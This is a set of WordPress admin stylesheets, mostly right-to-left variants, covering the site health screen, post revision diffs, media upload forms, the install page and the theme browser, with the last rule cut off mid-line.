.hide-if-no-js {
	display: none;
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.spinner {
		background-image: url(../images/spinner-2x.gif);
	}

}
/*! This file is auto-generated */
.health-check-body h2{line-height:1.4}.health-check-body h3{padding:0;font-weight:400}.site-health-progress-wrapper{margin-bottom:1rem}.site-health-progress{display:inline-block;height:20px;width:20px;margin:0;border-radius:100%;position:relative;font-weight:600;font-size:.4rem}.site-health-progress-count{position:absolute;display:block;height:80px;width:80px;right:50%;top:50%;margin-top:-40px;margin-right:-40px;border-radius:100%;line-height:6.3;font-size:2em}.loading .site-health-progress svg #bar{stroke-dashoffset:0;stroke:#c3c4c7;animation:loadingPulse 3s infinite ease-in-out}.site-health-progress svg circle{stroke-dashoffset:0;transition:stroke-dashoffset 1s linear;stroke:#c3c4c7;stroke-width:2em}.site-health-progress svg #bar{stroke-dashoffset:565;stroke:#d63638}.green .site-health-progress #bar{stroke:#00a32a}.green .site-health-progress .site-health-progress-label{color:#00a32a}.orange .site-health-progress #bar{stroke:#dba617}.orange .site-health-progress .site-health-progress-label{color:#dba617}.site-health-progress-label{font-weight:600;line-height:20px;margin-right:.3rem}@keyframes loadingPulse{0%{stroke:#c3c4c7}50%{stroke:#72aee6}100%{stroke:#c3c4c7}}.health-check-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr 1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr 1fr 1fr}.health-check-tabs-wrapper.tab-count-1{grid-template-columns:1fr}.health-check-tabs-wrapper.tab-count-2{grid-template-columns:1fr 1fr}.health-check-tabs-wrapper.tab-count-3{grid-template-columns:1fr 1fr 1fr}.health-check-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-offscreen-nav-wrapper{position:relative;background:0 0;border:none}.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav{right:initial}.health-check-offscreen-nav{display:none;position:absolute;padding-top:10px;left:0;top:100%;width:13rem}.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav{display:inline-block}.health-check-offscreen-nav:before{position:absolute;content:"";width:0;height:0;border-style:solid;border-width:0 10px 5px;border-color:transparent transparent #fff;left:20px;top:5px}.health-check-offscreen-nav .health-check-tab{background:#fff;box-shadow:0 2px 5px 0 rgba(0,0,0,.75)}.health-check-offscreen-nav .health-check-tab.active{box-shadow:inset -3px 0 #3582c4;font-weight:600}.health-check-body{max-width:800px;margin:0 auto}.health-check-table td:first-child{width:30%}.health-check-table td{width:70%}.health-check-table ol,.health-check-table ul{margin:0}.health-check-body li{line-height:1.5}.health-check-body .good::before,.health-check-body .pass::before{content:"\f147";color:#00a32a}.health-check-body .warning::before{content:"\f460";color:#dba617}.health-check-body .info::before{content:"\f348";color:#72aee6}.health-check-body .error::before,.health-check-body .fail::before{content:"\f335";color:#d63638}.site-health-copy-buttons{margin:1rem 0}.site-health-copy-buttons .copy-button-wrapper{display:inline-flex;align-items:center;margin:.5rem 0 1rem}.site-health-copy-buttons .success{color:#007017;margin-right:.5rem}.site-status-has-issues.hide{display:none}.site-health-view-more{text-align:center}.site-health-issues-wrapper:first-of-type{margin-top:3rem}.site-health-issues-wrapper{margin-bottom:3rem;margin-top:2rem}.site-status-all-clear{display:flex;flex-direction:column;align-items:center;justify-content:center;text-align:center;height:100%;width:100%;margin:0 0 3rem}@media all and (min-width:784px){.site-status-all-clear{margin:2rem 0 5rem}}.site-status-all-clear.hide{display:none}.site-status-all-clear .dashicons{font-size:150px;height:150px;margin-bottom:2rem;width:150px}.site-status-all-clear .encouragement{font-size:1.5rem;font-weight:600}.site-status-all-clear p{margin:0}.wp-core-ui .button.site-health-view-passed{position:relative;padding-left:40px;padding-right:20px}.health-check-wp-paths-sizes.spinner{visibility:visible;float:none;margin:0 4px;flex-shrink:0}#dashboard_site_health .site-health-details{padding-right:16px}#dashboard_site_health .site-health-details p:first-child{margin-top:0}#dashboard_site_health .site-health-details p:last-child{margin-bottom:0}#dashboard_site_health .health-check-widget{display:grid;grid-template-columns:1fr 2fr;grid-auto-rows:minmax(64px,auto);column-gap:16px;align-items:center}#dashboard_site_health .site-health-progress-label{margin-right:0}.health-check-widget-title-section{margin-bottom:0;text-align:center}@media screen and (max-width:480px){#dashboard_site_health .health-check-widget{grid-template-columns:100%}}@media screen and (max-width:782px){.site-health-issues-wrapper .health-check-accordion-trigger{flex-direction:column;align-items:flex-start}.health-check-accordion-trigger .badge{margin:1em 0 0}.health-check-table{table-layout:fixed}.health-check-table td{box-sizing:border-box;display:block;width:100%;word-wrap:break-word}.health-check-table td:first-child{width:100%;padding-bottom:0;font-weight:600}.wp-core-ui .site-health-copy-buttons .copy-button{margin-bottom:0}}/*! This file is auto-generated */
/*------------------------------------------------------------------------------
  11.2 - Post Revisions
------------------------------------------------------------------------------*/
.revisions-control-frame,
.revisions-diff-frame {
	position: relative;
}

.revisions-diff-frame {
	top: 10px;
}

.revisions-controls {
	padding-top: 40px;
	z-index: 1;
}

.revisions-controls input[type="checkbox"] {
	position: relative;
	top: -1px;
	vertical-align: text-bottom;
}

.revisions.pinned .revisions-controls {
	position: fixed;
	top: 0;
	height: 82px;
	background: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.revisions-tickmarks {
	position: relative;
	margin: 0 auto;
	height: 0.7em;
	top: 7px;
	max-width: 70%;
	box-sizing: border-box;
	background-color: #fff;
}

.revisions-tickmarks > div {
	position: absolute;
	height: 100%;
	border-right: 1px solid #a7aaad;
	box-sizing: border-box;
}

.revisions-tickmarks > div:first-child {
	border-width: 0;
}

.comparing-two-revisions .revisions-controls {
	height: 140px;
}

.comparing-two-revisions.pinned .revisions-controls {
	height: 124px;
}

.revisions .diff-error {
	position: absolute;
	text-align: center;
	margin: 0 auto;
	width: 100%;
	display: none;
}

.revisions.diff-error .diff-error {
	display: block;
}

.revisions .loading-indicator {
	position: absolute;
	vertical-align: middle;
	opacity: 0;
	width: 100%;
	width: calc( 100% - 30px );
	top: 50%;
	top: calc( 50% - 10px );
	transition: opacity 0.5s;
}

body.folded .revisions .loading-indicator {
	margin-right: -32px;
}

.revisions .loading-indicator span.spinner {
	display: block;
	margin: 0 auto;
	float: none;
}

.revisions.loading .loading-indicator {
	opacity: 1;
}

.revisions .diff {
	transition: opacity 0.5s;
}

.revisions.loading .diff {
	opacity: 0.5;
}

.revisions.diff-error .diff {
	visibility: hidden;
}

.revisions-meta {
	margin-top: 20px;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.revisions.pinned .revisions-meta {
	box-shadow: none;
}

.revision-toggle-compare-mode {
	position: absolute;
	top: 0;
	left: 0;
}

.comparing-two-revisions .revisions-previous,
.comparing-two-revisions .revisions-next,
.revisions-meta .diff-meta-to strong {
	display: none;
}

.revisions-controls .author-card .date {
	color: #646970;
}

.revisions-controls .author-card.autosave {
	color: #d63638;
}

.revisions-controls .author-card .author-name {
	font-weight: 600;
}

.comparing-two-revisions .diff-meta-to strong {
	display: block;
}

.revisions.pinned .revisions-buttons {
	padding: 0 11px;
}

.revisions-previous,
.revisions-next {
	position: relative;
	z-index: 1;
}

.revisions-previous {
	float: right;
}

.revisions-next {
	float: left;
}

.revisions-controls .wp-slider {
	max-width: 70%;
	margin: 0 auto;
	top: -3px;
}

.revisions-diff {
	padding: 15px;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.revisions-diff h3:first-child {
	margin-top: 0;
}

/* Revision meta box */
.post-revisions li img,
#revisions-meta-restored img {
	vertical-align: middle;
}

table.diff {
	table-layout: fixed;
	width: 100%;
	white-space: pre-wrap;
}

table.diff col.content {
	width: auto;
}

table.diff col.content.diffsplit {
	width: 48%;
}

table.diff col.diffsplit.middle {
	width: auto;
}

table.diff col.ltype {
	width: 30px;
}

table.diff tr {
	background-color: transparent;
}

table.diff td,
table.diff th {
	font-family: Consolas, Monaco, monospace;
	font-size: 14px;
	line-height: 1.57142857;
	padding: 0.5em 2em 0.5em 0.5em;
	vertical-align: top;
	word-wrap: break-word;
}

table.diff td h1,
table.diff td h2,
table.diff td h3,
table.diff td h4,
table.diff td h5,
table.diff td h6 {
	margin: 0;
}

table.diff .diff-deletedline del,
table.diff .diff-addedline ins {
	text-decoration: none;
}

table.diff .diff-deletedline {
	position: relative;
	background-color: #fcf0f1;
}

table.diff .diff-deletedline del {
	background-color: #ffabaf;
}

table.diff .diff-addedline {
	position: relative;
	background-color: #edfaef;
}

table.diff .diff-deletedline .dashicons,
table.diff .diff-addedline .dashicons {
	position: absolute;
	top: 0.85714286em;
	right: 0.5em;
	width: 1em;
	height: 1em;
	font-size: 1em;
	line-height: 1;
}

table.diff .diff-addedline .dashicons {
	/* Compensate the vertically non-centered plus glyph. */
	top: 0.92857143em;
}

table.diff .diff-addedline ins {
	background-color: #68de7c;
}

.diff-meta {
	padding: 5px;
	clear: both;
	min-height: 32px;
}

.diff-title strong {
	line-height: 2.46153846;
	min-width: 60px;
	text-align: left;
	float: right;
	margin-left: 5px;
}

.revisions-controls .author-card .author-info {
	font-size: 12px;
	line-height: 1.33333333;
}

.revisions-controls .author-card .avatar,
.revisions-controls .author-card .author-info {
	float: right;
	margin-right: 6px;
	margin-left: 6px;
}

.revisions-controls .author-card .byline {
	display: block;
	font-size: 12px;
}

.revisions-controls .author-card .avatar {
	vertical-align: middle;
}

.diff-meta input.restore-revision {
	float: left;
	margin-right: 6px;
	margin-left: 6px;
	margin-top: 2px;
}

.diff-meta-from {
	display: none;
}

.comparing-two-revisions .diff-meta-from {
	display: block;
}

.revisions-tooltip {
	position: absolute;
	bottom: 105px;
	margin-left: 0;
	margin-right: -69px;
	z-index: 0;
	max-width: 350px;
	min-width: 130px;
	padding: 8px 4px;
	display: none;
	opacity: 0;
}

.revisions-tooltip.flipped {
	margin-right: 0;
	margin-left: -70px;
}

.revisions.pinned .revisions-tooltip {
	display: none !important;
}

.comparing-two-revisions .revisions-tooltip {
	bottom: 145px;
}

.revisions-tooltip-arrow {
	width: 70px;
	height: 15px;
	overflow: hidden;
	position: absolute;
	right: 0;
	margin-right: 35px;
	bottom: -15px;
}

.revisions-tooltip.flipped .revisions-tooltip-arrow {
	margin-right: 0;
	margin-left: 35px;
	right: auto;
	left: 0;
}

.revisions-tooltip-arrow > span {
	content: "";
	position: absolute;
	right: 20px;
	top: -20px;
	width: 25px;
	height: 25px;
	transform: rotate(-45deg);
}

.revisions-tooltip.flipped .revisions-tooltip-arrow > span {
	right: auto;
	left: 20px;
}

.revisions-tooltip,
.revisions-tooltip-arrow > span {
	border: 1px solid #dcdcde;
	background-color: #fff;
}

.revisions-tooltip {
	display: none;
}

.arrow {
	width: 70px;
	height: 16px;
	overflow: hidden;
	position: absolute;
	right: 0;
	margin-right: -35px;
	bottom: 90px;
	z-index: 10000;
}

.arrow:after {
	z-index: 9999;
	background-color: #fff;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
}

.arrow.top {
	top: -16px;
	bottom: auto;
}

.arrow.left {
	right: 20%;
}

.arrow:after {
	content: "";
	position: absolute;
	right: 20px;
	top: -20px;
	width: 25px;
	height: 25px;
	transform: rotate(-45deg);
}

.revisions-tooltip,
.revisions-tooltip-arrow:after {
	border-width: 1px;
	border-style: solid;
}

div.revisions-controls > .wp-slider > .ui-slider-handle {
	margin-right: -10px;
}

.rtl div.revisions-controls > .wp-slider > .ui-slider-handle {
	margin-left: -10px;
}

/* jQuery UI Slider */
.wp-slider.ui-slider {
	position: relative;
	border: 1px solid #dcdcde;
	text-align: right;
	cursor: pointer;
}

.wp-slider .ui-slider-handle {
	border-radius: 50%;
	height: 18px;
	margin-top: -5px;
	outline: none;
	padding: 2px;
	position: absolute;
	width: 18px;
	z-index: 2;
	touch-action: none;
}

.wp-slider .ui-slider-handle,
.wp-slider .ui-slider-handle.focus {
	background: #f6f7f7;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 0 #c3c4c7;
}

.wp-slider .ui-slider-handle:hover,
.wp-slider .ui-slider-handle.ui-state-hover {
	background: #f6f7f7;
	border-color: #8c8f94;
}

.wp-slider .ui-slider-handle:active,
.wp-slider .ui-slider-handle.ui-state-active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
	transform: translateY(1px);
}

.wp-slider .ui-slider-handle:before {
	background: none;
	position: absolute;
	top: 2px;
	right: 2px;
	color: #50575e;
	content: "\f229";
	font: normal 18px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-slider .ui-slider-handle:hover:before,
.wp-slider .ui-slider-handle.ui-state-hover:before {
	color: #1d2327;
}

.wp-slider .ui-slider-handle.from-handle:before,
.wp-slider .ui-slider-handle.to-handle:before {
	font-size: 20px !important;
	margin: -1px -1px 0 0;
}

.wp-slider .ui-slider-handle.from-handle:before {
	content: "\f141";
}

.wp-slider .ui-slider-handle.to-handle:before {
	content: "\f139";
}

.rtl .wp-slider .ui-slider-handle.from-handle:before {
	content: "\f139";
}

.rtl .wp-slider .ui-slider-handle.to-handle:before {
	content: "\f141";
	left: -1px;
}

.wp-slider .ui-slider-range {
	position: absolute;
	font-size: 0.7em;
	display: block;
	border: 0;
	background-color: transparent;
	background-image: none;
}

.wp-slider.ui-slider-horizontal {
	height: 0.7em;
}

.wp-slider.ui-slider-horizontal .ui-slider-handle {
	top: -.25em;
	margin-right: -.6em;
}

.wp-slider.ui-slider-horizontal .ui-slider-range {
	top: 0;
	height: 100%;
}

.wp-slider.ui-slider-horizontal .ui-slider-range-min {
	right: 0;
}

.wp-slider.ui-slider-horizontal .ui-slider-range-max {
	left: 0;
}

/* =Media Queries
-------------------------------------------------------------- */

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {
	.revision-tick.completed-false {
		background-image: url(../images/spinner-2x.gif);
	}
}

@media screen and (max-width: 782px) {
	#diff-next-revision,
	#diff-previous-revision {
		margin-top: -1em;
	}

	.revisions-buttons {
		overflow: hidden;
		margin-bottom: 15px;
	}

	.revisions-controls,
	.comparing-two-revisions .revisions-controls {
		height: 170px;
	}

	.revisions-tooltip {
		bottom: 130px;
		z-index: 2;
	}

	.diff-meta {
		overflow: hidden;
	}

	table.diff {
		-ms-word-break: break-all;
		word-break: break-all;
		word-wrap: break-word;
	}

	.diff-meta input.restore-revision {
		margin-top: 0;
	}
}
/*! This file is auto-generated */
div#media-upload-header{margin:0;padding:5px 5px 0;font-weight:600;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7}#sidemenu{overflow:hidden;float:none;position:relative;right:0;bottom:-1px;margin:0 5px;padding-right:10px;list-style:none;font-size:12px;font-weight:400}#sidemenu a{padding:0 7px;display:block;float:right;line-height:28px;border-top:1px solid #f6f7f7;border-bottom:1px solid #dcdcde;background-color:#f6f7f7;text-decoration:none;transition:none}#sidemenu li{display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;margin:0;padding:0}#sidemenu a.current{font-weight:400;padding-right:6px;padding-left:6px;border:1px solid #dcdcde;border-bottom-color:#f0f0f1;background-color:#f0f0f1;color:#000}#media-upload:after{content:"";display:table;clear:both}#media-upload .slidetoggle{border-top-color:#dcdcde}#media-upload input[type=radio]{padding:0}.media-upload-form label.form-help,td.help{color:#646970}form{margin:1em}#search-filter{text-align:left}th{position:relative}.media-upload-form label.form-help,td.help{font-family:sans-serif;font-style:italic;font-weight:400}.media-upload-form p.help{margin:0;padding:0}.media-upload-form fieldset{width:100%;border:none;text-align:justify;margin:0 0 1em;padding:0}.image-align-none-label{background:url(../images/align-none.png) no-repeat center right}.image-align-left-label{background:url(../images/align-left.png) no-repeat center right}.image-align-center-label{background:url(../images/align-center.png) no-repeat center right}.image-align-right-label{background:url(../images/align-right.png) no-repeat center right}tr.image-size td{width:460px}tr.image-size div.image-size-item{margin:0 0 5px}#gallery-form .progress,#library-form .progress,.describe.startclosed,.describe.startopen,.insert-gallery{display:none}.media-item .thumbnail{max-width:128px;max-height:128px}thead.media-item-info tr{background-color:transparent}.form-table thead.media-item-info{border:8px solid #fff}abbr.required,span.required{text-decoration:none;border:none}.describe label{display:inline}.describe td.error{padding:2px 8px}.describe td.A1{width:132px}.describe input[type=text],.describe textarea{width:460px;border-width:1px;border-style:solid}#media-upload p.ml-submit{padding:1em 0}#media-upload label.help,#media-upload p.help{font-family:sans-serif;font-style:italic;font-weight:400}#media-upload .ui-sortable .media-item{cursor:move}#media-upload tr.image-size{margin-bottom:1em;height:3em}#media-upload #filter{width:623px}#media-upload #filter .subsubsub{margin:8px 0}#media-upload .tablenav-pages .current,#media-upload .tablenav-pages a{display:inline-block;padding:4px 5px 6px;font-size:16px;line-height:1;text-align:center;text-decoration:none}#media-upload .tablenav-pages a{min-width:17px;border:1px solid #c3c4c7;background:#f6f7f7}#filter .tablenav select{border-style:solid;border-width:1px;padding:2px;vertical-align:top;width:auto}#media-upload .del-attachment{display:none;margin:5px 0}.menu_order{float:left;font-size:11px;margin:8px 10px 0}.menu_order_input{border:1px solid #dcdcde;font-size:10px;padding:1px;width:23px}.ui-sortable-helper{background-color:#fff;border:1px solid #a7aaad;opacity:.6}#media-upload th.order-head{width:20%;text-align:center}#media-upload th.actions-head{width:25%;text-align:center}#media-upload a.wp-post-thumbnail{margin:0 20px}#media-upload .widefat{border-style:solid solid none}.sorthelper{height:37px;width:623px;display:block}#gallery-settings th.label{width:160px}#gallery-settings #basic th.label{padding:5px 0 5px 5px}#gallery-settings .title{clear:both;padding:0 0 3px;font-size:1.6em;border-bottom:1px solid #dcdcde}h3.media-title{font-size:1.6em}h4.media-sub-title{border-bottom:1px solid #dcdcde;font-size:1.3em;margin:12px;padding:0 0 3px}#gallery-settings .title,h3.media-title,h4.media-sub-title{font-family:Georgia,"Times New Roman",Times,serif;font-weight:400;color:#50575e}#gallery-settings .describe td{vertical-align:middle;height:3em}#gallery-settings .describe th.label{padding-top:.5em;text-align:right}#gallery-settings .describe{padding:5px;width:100%;clear:both;cursor:default;background:#fff}#gallery-settings .describe select{width:15em}#gallery-settings .describe select option,#gallery-settings .describe td{padding:0}#gallery-settings label,#gallery-settings legend{font-size:13px;color:#3c434a;margin-left:15px}#gallery-settings .align .field label{margin:0 3px 0 1em}#gallery-settings p.ml-submit{border-top:1px solid #dcdcde}#gallery-settings select#columns{width:6em}#sort-buttons{font-size:.8em;margin:3px 0 -8px 25px;text-align:left;max-width:625px}#sort-buttons a{text-decoration:none}#sort-buttons #asc,#sort-buttons #showall{padding-right:5px}#sort-buttons span{margin-left:25px}p.media-types{margin:0;padding:1em}p.media-types-required-info{padding-top:0}tr.not-image{display:none}table.not-image tr.not-image{display:table-row}table.not-image tr.image-only{display:none}@media print,(min-resolution:120dpi){.image-align-none-label{background-image:url(../images/align-none-2x.png?ver=20120916);background-size:21px 15px}.image-align-left-label{background-image:url(../images/align-left-2x.png?ver=20120916);background-size:22px 15px}.image-align-center-label{background-image:url(../images/align-center-2x.png?ver=20120916);background-size:21px 15px}.image-align-right-label{background-image:url(../images/align-right-2x.png?ver=20120916);background-size:22px 15px}}/*! This file is auto-generated */
html {
	background: #f0f0f1;
	margin: 0 20px;
}

body {
	background: #fff;
	border: 1px solid #c3c4c7;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	margin: 140px auto 25px;
	padding: 20px 20px 10px;
	max-width: 700px;
	-webkit-font-smoothing: subpixel-antialiased;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

a {
	color: #2271b1;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

h1, h2 {
	border-bottom: 1px solid #dcdcde;
	clear: both;
	color: #646970;
	font-size: 24px;
	padding: 0 0 7px;
	font-weight: 400;
}

h3 {
	font-size: 16px;
}

p, li, dd, dt {
	padding-bottom: 2px;
	font-size: 14px;
	line-height: 1.5;
}

code, .code {
	font-family: Consolas, Monaco, monospace;
}

ul, ol, dl {
	padding: 5px 22px 5px 5px;
}

a img {
	border: 0
}
abbr {
	border: 0;
	font-variant: normal;
}

fieldset {
	border: 0;
	padding: 0;
	margin: 0;
}

#logo {
	margin: -130px auto 25px;
	padding: 0 0 25px;
	width: 84px;
	height: 84px;
	overflow: hidden;
	background-image: url(../images/w-logo-blue.png?ver=20131202);
	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
	background-size: 84px;
	background-position: center top;
	background-repeat: no-repeat;
	color: #3c434a; /* same as login.css */
	font-size: 20px;
	font-weight: 400;
	line-height: 1.3em;
	text-decoration: none;
	text-align: center;
	text-indent: -9999px;
	outline: none;
}

.step {
	margin: 20px 0 15px;
}
.step, th {
	text-align: right;
	padding: 0;
}
.language-chooser.wp-core-ui .step .button.button-large {
	font-size: 14px;
}
textarea {
	border: 1px solid #dcdcde;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	width: 100%;
	box-sizing: border-box;
}

.form-table {
	border-collapse: collapse;
	margin-top: 1em;
	width: 100%;
}

.form-table td {
	margin-bottom: 9px;
	padding: 10px 0 10px 20px;
	font-size: 14px;
	vertical-align: top
}

.form-table th {
	font-size: 14px;
	text-align: right;
	padding: 10px 0 10px 20px;
	width: 115px;
	vertical-align: top;
}

.form-table code {
	line-height: 1.28571428;
	font-size: 14px;
}

.form-table p {
	margin: 4px 0 0;
	font-size: 11px;
}

.form-table .setup-description {
	margin: 4px 0 0;
	line-height: 1.6;
}

.form-table input {
	line-height: 1.33333333;
	font-size: 15px;
	padding: 3px 5px;
}

.wp-pwd {
	margin-top: 0;
}

.form-table .wp-pwd {
	display: flex;
	column-gap: 4px;
}

.form-table .password-input-wrapper {
	width: 100%;
}

input,
submit {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}

.form-table input[type=text],
.form-table input[type=email],
.form-table input[type=url],
.form-table input[type=password],
#pass-strength-result {
	width: 100%;
}

.form-table th p {
	font-weight: 400;
}

.form-table.install-success th,
.form-table.install-success td {
	vertical-align: middle;
	padding: 16px 0 16px 20px;
}

.form-table.install-success td p {
	margin: 0;
	font-size: 14px;
}

.form-table.install-success td code {
	margin: 0;
	font-size: 18px;
}

#error-page {
	margin-top: 50px;
}

#error-page p {
	font-size: 14px;
	line-height: 1.28571428;
	margin: 25px 0 20px;
}

#error-page code, .code {
	font-family: Consolas, Monaco, monospace;
}

.message {
	border-right: 4px solid #d63638;
	padding: .7em .6em;
	background-color: #fcf0f1;
}

/* rtl:ignore */
#dbname,
#uname,
#pwd,
#dbhost,
#prefix,
#user_login,
#admin_email,
#pass1,
#pass2 {
	direction: ltr;
}


/* localization */
body.rtl,
.rtl textarea,
.rtl input,
.rtl submit {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) body.rtl,
:lang(he-il) .rtl textarea,
:lang(he-il) .rtl input,
:lang(he-il) .rtl submit {
	font-family: Arial, sans-serif;
}

@media only screen and (max-width: 799px) {
	body {
		margin-top: 115px;
	}
	#logo a {
		margin: -125px auto 30px;
	}
}

@media screen and (max-width: 782px) {

	.form-table {
		margin-top: 0;
	}

	.form-table th,
	.form-table td {
		display: block;
		width: auto;
		vertical-align: middle;
	}

	.form-table th {
		padding: 20px 0 0;
	}

	.form-table td {
		padding: 5px 0;
		border: 0;
		margin: 0;
	}

	textarea,
	input {
		font-size: 16px;
	}

	.form-table td input[type="text"],
	.form-table td input[type="email"],
	.form-table td input[type="url"],
	.form-table td input[type="password"],
	.form-table td select,
	.form-table td textarea,
	.form-table span.description {
		width: 100%;
		font-size: 16px;
		line-height: 1.5;
		padding: 7px 10px;
		display: block;
		max-width: none;
		box-sizing: border-box;
	}

	#pwd {
		padding-left: 2.5rem;
	}

	.wp-pwd #pass1 {
		padding-left: 50px;
	}

	.wp-pwd .button.wp-hide-pw {
		left: 0;
	}

	#pass-strength-result {
		width: 100%;
	}
}

body.language-chooser {
	max-width: 300px;
}

.language-chooser select {
	padding: 8px;
	width: 100%;
	display: block;
	border: 1px solid #dcdcde;
	background: #fff;
	color: #2c3338;
	font-size: 16px;
	font-family: Arial, sans-serif;
	font-weight: 400;
}

.language-chooser select:focus {
	color: #2c3338;
}

.language-chooser select option:hover,
.language-chooser select option:focus {
	color: #0a4b78;
}

.language-chooser .step {
	text-align: left;
}

.screen-reader-input,
.screen-reader-text {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

.spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 2px 5px 0;
}

.step .spinner {
	display: inline-block;
	vertical-align: middle;
	margin-left: 15px;
}

.button.hide-if-no-js,
.hide-if-no-js {
	display: none;
}

/**
 * HiDPI Displays
 */
@media print,
  (min-resolution: 120dpi) {

	.spinner {
		background-image: url(../images/spinner-2x.gif);
	}

}
/*! This file is auto-generated */
.themes-php{overflow-y:scroll}body.js .theme-browser.search-loading{display:none}.theme-browser .themes{clear:both}.themes-php:not(.network-admin) .wrap h1{margin-bottom:15px}.themes-php .wrap h1 .button{margin-right:20px}.themes-php .search-form{display:inline}.themes-php .wp-filter-search{position:relative;top:-2px;right:20px;margin:0;width:280px}.theme .notice,.theme .notice.is-dismissible{right:0;margin:0;position:absolute;left:0;top:0}.theme-browser .theme{cursor:pointer;float:right;margin:0 0 4% 4%;position:relative;width:30.6%;border:1px solid #dcdcde;box-shadow:0 1px 1px -1px rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme:nth-child(3n){margin-left:0}.theme-browser .theme.focus,.theme-browser .theme:hover{cursor:pointer}.theme-browser .theme .theme-name{font-size:15px;font-weight:600;height:18px;margin:0;padding:15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1);overflow:hidden;white-space:nowrap;text-overflow:ellipsis;background:#fff;background:rgba(255,255,255,.65)}.theme-browser .theme .theme-actions{opacity:0;transition:opacity .1s ease-in-out;height:auto;background:rgba(246,247,247,.7);border-right:1px solid rgba(0,0,0,.05)}.theme-browser .theme.focus .theme-actions,.theme-browser .theme:hover .theme-actions{opacity:1}.theme-browser .theme .theme-actions .button-primary{margin-left:3px}.theme-browser .theme .theme-actions .button{float:none;margin-right:3px}.theme-browser .theme .theme-screenshot{display:block;overflow:hidden;position:relative;-webkit-backface-visibility:hidden;transition:opacity .2s ease-in-out}.theme-browser .theme .theme-screenshot:after{content:"";display:block;padding-top:66.66666%}.theme-browser .theme .theme-screenshot img{height:auto;position:absolute;right:0;top:0;width:100%;transition:opacity .2s ease-in-out}.theme-browser .theme.focus .theme-screenshot,.theme-browser .theme:hover .theme-screenshot{background:#fff}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:.4}.theme-browser .theme .more-details{opacity:0;position:absolute;top:35%;left:20%;right:20%;width:60%;background:#1d2327;background:rgba(0,0,0,.7);color:#fff;font-size:15px;text-shadow:0 1px 0 rgba(0,0,0,.6);-webkit-font-smoothing:antialiased;font-weight:600;padding:15px 12px;text-align:center;border-radius:3px;border:none;transition:opacity .1s ease-in-out;cursor:pointer}.theme-browser .theme .more-details:focus{box-shadow:0 0 0 2px #2271b1}.theme-browser .theme.focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}.theme-browser .theme.focus .more-details{opacity:1}.theme-browser .theme.active.focus .theme-actions{display:block}.theme-browser.rendered .theme.focus .more-details,.theme-browser.rendered .theme:hover .more-details{opacity:1}.theme-browser .theme.active .theme-name{background:#1d2327;color:#fff;padding-left:110px;font-weight:300;box-shadow:inset 0 1px 1px rgba(0,0,0,.5)}.theme-browser .customize-control .theme.active .theme-name{padding-left:15px}.theme-browser .theme.active .theme-name span{font-weight:600}.theme-browser .theme.active .theme-actions{background:rgba(44,51,56,.7);border-right:none;opacity:1}.theme-id-container{position:relative}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{position:absolute;top:50%;transform:translateY(-50%);left:0;padding:9px 15px;box-shadow:inset 0 1px 0 rgba(0,0,0,.1)}.theme-browser .theme.active .theme-actions .button-primary{margin-left:0}.theme-browser .theme .theme-author{background:#1d2327;color:#f0f0f1;display:none;font-size:14px;margin:0 10px;padding:5px 10px;position:absolute;bottom:56px}.theme-browser .theme.display-author .theme-author{display:block}.theme-browser .theme.display-author .theme-author a{color:inherit}.theme-browser .theme.add-new-theme{border:none;box-shadow:none}.theme-browser .theme.add-new-theme a{text-decoration:none;display:block;position:relative;z-index:1}.theme-browser .theme.add-new-theme a:after{display:block;content:"";background:0 0;background:rgba(0,0,0,0);position:absolute;top:0;right:0;left:0;bottom:0;padding:0;text-shadow:none;border:5px dashed #dcdcde;border:5px dashed rgba(0,0,0,.1);box-sizing:border-box}.theme-browser .theme.add-new-theme span:after{background:#dcdcde;background:rgba(140,143,148,.1);border-radius:50%;display:inline-block;content:"\f132";-webkit-font-smoothing:antialiased;font:normal 74px/115px 